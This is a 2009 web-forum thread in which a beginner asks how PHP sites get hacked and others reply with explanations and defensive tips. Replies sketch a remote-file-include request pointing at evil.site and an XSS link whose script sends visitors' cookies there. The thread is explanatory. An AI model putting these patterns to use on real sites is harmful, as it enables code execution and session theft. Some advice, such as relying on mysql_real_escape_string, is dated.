Tycoon Talk
Become a Big fish!
The number 1 forum for online business!
Post topics, ask questions, share your knowledge.
Tycoon Talk is part of Freelancer.com - find skilled workers online at a fraction of the cost.

PHP Forum


You are currently viewing our PHP Forum as a guest. Please register to participate.
Login



Freelance Jobs

Reply
Php Security Questions?
Old 08-09-2009, 09:34 AM Php Security Questions?
Average Talker

Posts: 22
Name: David
Trades: 0
I have been reading a lot about php security and how to stop people from breaking into my site and all that and i am having a hard time understanding the ways they can break in or just mess my site up.

Can someone tell me plainly the ways that people use to break into websites and how to stop it? I already know that they can use sql injections and input sql injection into my input or form fields and i should filter out all the inputs on my site but that is all that i basically know right now.
davidphp is offline
Reply With Quote
View Public Profile
 
 
Register now for full access!
Old 08-09-2009, 11:02 AM Re: Php Security Questions?
freeloader's Avatar
Experienced Talker

Posts: 35
Trades: 0
  • SQL injection
  • includes and requires not sanitized (i.e.
    PHP Code:
    include($_GET['page']); 
    then the attacker can make a request like /?page=http://evil.site/php.code, which then executes evil PHP code if remote connections are allowed. There are other methods exploiting this same principle.
  • other unsafe PHP (unsafe again as in not sanitized for all expected values), reading (from configuration), writing to files (overwriting, DoS)
  • XSS - if an attacker can inject content into your html site (if you let him), like, you have
    http://your.site/?warning='This is some stupid warning', and attacker writes http://your.site/?modifier=<script>send client cookie to evil.site</script>, and then sends this link to thousands of people who *have an account* at your website, he can then steal their session cookies ~ accounts. This is not a server attack, but very frequent these days. If you have a user base that logs into your site, this is definitely something to be considerate about.
  • CSRF
  • ...
  • ?
[google]sql injection[/google]
[google]php code injection[/google]
[google]xss[/google]
[google]csrf[/google]
__________________
"It is a profitable thing, if one is wise, to seem foolish." --Aeschylus

Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE
freeloader is offline
Reply With Quote
View Public Profile
 
Old 08-09-2009, 11:54 AM Re: Php Security Questions?
Average Talker

Posts: 22
Name: David
Trades: 0
I have no idea what you just said i can not even really understand it.

And what is this supposed to mean below.

[google]sql injection[/google]
[google]php code injection[/google]
[google]xss[/google]
[google]csrf[/google]

If that is supposed to mean for me to look it up on google then i have already said in my first post that i have been reading a lot and i am having a hard time understanding it so you posting a bunch of garbage between fake google tags is not helping, because i can go look it up but it will still be hard for me to understand.
davidphp is offline
Reply With Quote
View Public Profile
 
Old 08-09-2009, 12:16 PM Re: Php Security Questions?
freeloader's Avatar
Experienced Talker

Posts: 35
Trades: 0
Those are keywords into more specific subjects of website, namely PHP, security.
When you study all those, if you have any definite questions, please ask.
__________________
"It is a profitable thing, if one is wise, to seem foolish." --Aeschylus

Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE
freeloader is offline
Reply With Quote
View Public Profile
 
Old 08-10-2009, 07:27 AM Re: Php Security Questions?
EdB
Skilled Talker

Posts: 79
Name: Ed Barnett
Trades: 0
The take home message is always always ALWAYS do the following...

1. Filter input e.g. Make sure you receive a value you are expecting -it could be a number, only letters, more then 30 characters, less than or equal to 2 or whatever etc.

2. Escape output e.g. use htmlentities() for anything going to the browser. This way if there's any dirty code (as a result of your site being hacked) this will deactivate it before it reaches the browser.

Strictly speaking if you filter input correctly then you won't need to escape output. But ALWAYS do both. It's good to read up on how each vulnerability works but if you live by these rules you won't go far wrong!
__________________

Please login or register to view this content. Registration is FREE
EdB is offline
Reply With Quote
View Public Profile Visit EdB's homepage!
 
Old 08-25-2009, 11:19 PM Re: Php Security Questions?
Junior Talker

Posts: 1
Name: Alfie Florante
Trades: 0
I accede to you freeloader that those are keywords into added specific capacity of website.
_________________
Adt security
alfieflor is offline
Reply With Quote
View Public Profile
 
Old 08-26-2009, 01:33 AM Re: Php Security Questions?
Average Talker

Posts: 17
Name: Jeremy
Location: WV
Trades: 0
In addition to filtering and escaping, you can also typecast inputs. If you're expecting a number as an input, you can use intval() for example.

Your most important tool is mysql_real_escape_string()
__________________
Adscend Media,
Please login or register to view this content. Registration is FREE

Monetize your content with our content gateway!
Please login or register to view this content. Registration is FREE
AdscendJeremy is offline
Reply With Quote
View Public Profile Visit AdscendJeremy's homepage!
 
Old 08-28-2009, 05:29 PM Re: Php Security Questions?
Novice Talker

Posts: 3
Trades: 0
Hi,
I would agree with using the typecast inputs.I think this will help you.
Just try this.
Another solution is sql injection for which you have the basic information.
Thanks!!
__________________

Please login or register to view this content. Registration is FREE



Please login or register to view this content. Registration is FREE

Last edited by snv123; 08-28-2009 at 05:30 PM..
snv123 is offline
Reply With Quote
View Public Profile
 
Reply     « Reply to Php Security Questions?
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML



Page generated in 0.80165 seconds with 12 queries